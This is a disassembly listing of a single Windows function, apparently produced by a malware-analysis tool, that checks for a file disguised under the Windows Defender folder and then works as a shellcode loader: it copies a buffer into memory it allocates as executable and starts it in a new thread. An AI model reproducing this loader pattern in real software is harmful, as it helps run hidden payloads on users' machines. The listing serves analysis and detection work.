Function at 0x418210
Capabilities:
Create thread

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0xec
mov dword [esp + 0x3c], str.C:Program_FilesWindows_DefenderrTrackerUI.sys
lea eax, [esp + 0x54]
mov dword [esp + 0x40], 0x30
mov dword [esp + 0x44], 1
mov dword [esp], str.C:Program_FilesWindows_DefenderrTrackerUI.sys
mov dword [esp + 4], 0x30
mov dword [esp + 8], 1
call fcn.00413a20
cmp byte [esp + 0x54], 0
je 0x418268
add esp, 0xec
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x7c]
cmp dword [0x44c3f4], 4
mov esi, dword [esp + 0x70]
mov ebp, dword [esp + 0x68]
mov dword [esp + 0x2c], eax
je 0x418468
cmp esi, 3
jle 0x418736
mov ebx, dword [ebp]
mov eax, esi
call fcn.0040dd00
mov edi, eax
cmp ebx, esi
jge 0x4182d4
cmp dword [esp + 0x2c], 1
jne 0x418530
test ebx, ebx
js 0x4186c3
xor eax, eax
lea esi, cs:[esi]
movzx ecx, byte [ebp + ebx]
mov edx, eax
cmp eax, esi
jge 0x418665
add ebx, 1
mov byte [edi + eax], cl
add eax, 1
cmp esi, ebx
jg 0x4182b8
mov dword [esp], str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
sub esp, 4
test eax, eax
je 0x418259
mov dword [esp + 4], str.VirtualAlloc
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
sub esp, 8
test eax, eax
je 0x418259
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x3000
mov dword [esp + 4], esi
mov dword [esp], 0
call eax
mov ebx, eax
test eax, eax
je 0x418259
mov dword [esp + 8], esi
mov dword [esp + 4], edi
mov dword [esp], eax
call sub.msvcrt.dll_memmove
mov eax, dword [0x42d0a4]
test eax, eax
je 0x418648
cmp dword [0x42d764], 1
mov eax, dword [0x42d0a8]
mov edi, 7
adc edi, 0
test eax, eax
jne 0x41863e
mov eax, dword [0x42d830]
test eax, eax
je 0x41838c
mov eax, dword [0x42d53c]
test eax, eax
jne 0x4185b0
mov eax, dword [0x42d830]
test eax, eax
je 0x4183a6
call fcn.004078b0
mov ebp, dword [0x42d53c]
test ebp, ebp
je 0x4183a6
mov dword [esp], 0x42d08c
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
sub esp, 4
mov eax, dword [edi*4 + 0x42e568]
mov edx, dword [0x422068]
lea edx, [edx + eax*4]
mov esi, dword [edx]
test esi, esi
je 0x4185ef
mov ecx, dword [esi]
shl eax, 3
mov dword [edx], ecx
mov dword [esi], 0
add dword [0x42d7a4], eax
add dword [0x42d540], eax
mov ecx, dword [0x42d53c]
test ecx, ecx
jne 0x418570
mov edx, dword [0x42d11c]
mov dword [esi], ebx
mov dword [esi + 4], 0
test edx, edx
jne 0x418588
mov dword [0x42d53c], 1
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], esi
mov dword [esp + 8], 0x401750
mov dword [esp + 4], 0
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
sub esp, 0x18
test eax, eax
je 0x418652
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
sub esp, 8
add esp, 0xec
pop ebx
pop esi
pop edi
pop ebp
ret
test esi, esi
jns 0x41828e
xor eax, eax
lea edi, [esp + 0x94]
mov ecx, 0x13
rep stosd dword es:[edi], eax
xor eax, eax
mov dword [esp + 0x80], str.array.slice:_invalid_slice_index__
mov dword [esp + 0x84], 0x22
mov dword [esp + 0x88], 1
mov dword [esp + 0x8c], 0xfe07
mov dword [esp + 0x90], eax
mov dword [esp + 0xa0], 0x426807
mov dword [esp + 0xa4], 3
lea eax, [esp + 0x48]
lea edx, [esp + 0x80]
mov dword [esp + 0xa8], 1
mov dword [esp + 0xac], 0xfe07
mov dword [esp + 0xb0], esi
mov dword [esp + 0xc0], 0x4267c4
mov dword [esp + 0xc4], 1
mov dword [esp + 0xc8], 1
call fcn.004143a0
mov eax, dword [esp + 0x48]
mov edx, dword [esp + 0x4c]
mov ecx, dword [esp + 0x50]
call fcn.00411770
lea esi, [esi]
mov eax, dword [esp + 0x2c]
imul eax, ebx
add eax, ebp
test ebx, ebx
js 0x4186c3
xor ecx, ecx
lea esi, cs:[esi]
movzx edx, byte [eax]
cmp ecx, esi
jge 0x418663
mov byte [edi + ecx], dl
mov edx, dword [esp + 0x2c]
add ebx, 1
add ecx, 1
add eax, edx
cmp ebx, esi
jl 0x418548
jmp 0x4182d4
mov dword [esp], 0x42d08c
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
jmp 0x4183e7
mov eax, esi
mov ecx, esi
mov edx, 1
shr eax, 0x11
shr ecx, 0xc
and eax, 0x1fff
shl edx, cl
add eax, 0x307c
lock or dword [eax*4 + 0x42d780], edx
jmp 0x4183fe
mov dword [esp], 0x42d08c
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [0x42d830]
sub esp, 4
test eax, eax
jne 0x418387
mov eax, dword [0x42d53c]
test eax, eax
je 0x4183a6
mov dword [esp], 0x42d08c
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
jmp 0x41838c
mov edx, 2
mov eax, edi
call fcn.0040a9c0
mov esi, eax
test eax, eax
jne 0x4183d9
mov esi, dword [0x42d53c]
test esi, esi
jne 0x418721
mov dword [esp], 8
call fcn.00401740
mov esi, eax
test eax, eax
jne 0x4183e7
mov dword [esp], 8
call dword [sym.imp.KERNEL32.dll_SetLastError]
sub esp, 4
jmp 0x418259
call fcn.00402ad0
jmp 0x418368
call fcn.00409c80
jmp 0x41834c
add esp, 0xec
mov eax, esi
pop ebx
pop esi
pop edi
pop ebp
jmp fcn.00403ce0
mov edx, ecx
lea edi, [esp + 0x94]
mov ecx, 0x13
xor eax, eax
rep stosd dword es:[edi], eax
mov dword [esp + 0x90], edx
mov dword [esp + 0x80], str.array.set:_index_out_of_range__i_
mov dword [esp + 0x84], 0x24
mov dword [esp + 0x88], 1
mov dword [esp + 0x8c], 0xfe07
mov dword [esp + 0xa0], str.__a.len_
mov dword [esp + 0xa4], 0xb
jmp 0x4184cb
lea edi, [esp + 0x94]
mov ecx, 0x13
xor eax, eax
rep stosd dword es:[edi], eax
mov dword [esp + 0x90], ebx
mov dword [esp + 0x80], str.array.get:_index_out_of_range__i_
mov dword [esp + 0x84], 0x24
mov dword [esp + 0x88], 1
mov dword [esp + 0x8c], 0xfe07
mov dword [esp + 0xa0], str.__a.len_
mov dword [esp + 0xa4], 0xb
jmp 0x4184cb
mov dword [esp], 0x42d08c
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
jmp 0x418613
lea edi, [esp + 0x94]
mov ecx, 0x13
xor eax, eax
rep stosd dword es:[edi], eax
mov dword [esp + 0x80], str.array.slice:_slice_bounds_out_of_range__
mov dword [esp + 0x84], 0x28
mov dword [esp + 0x88], 1
mov dword [esp + 0x8c], 0xfe07
mov dword [esp + 0x90], 4
mov dword [esp + 0xa0], str.__
mov dword [esp + 0xa4], 4
jmp 0x4184cb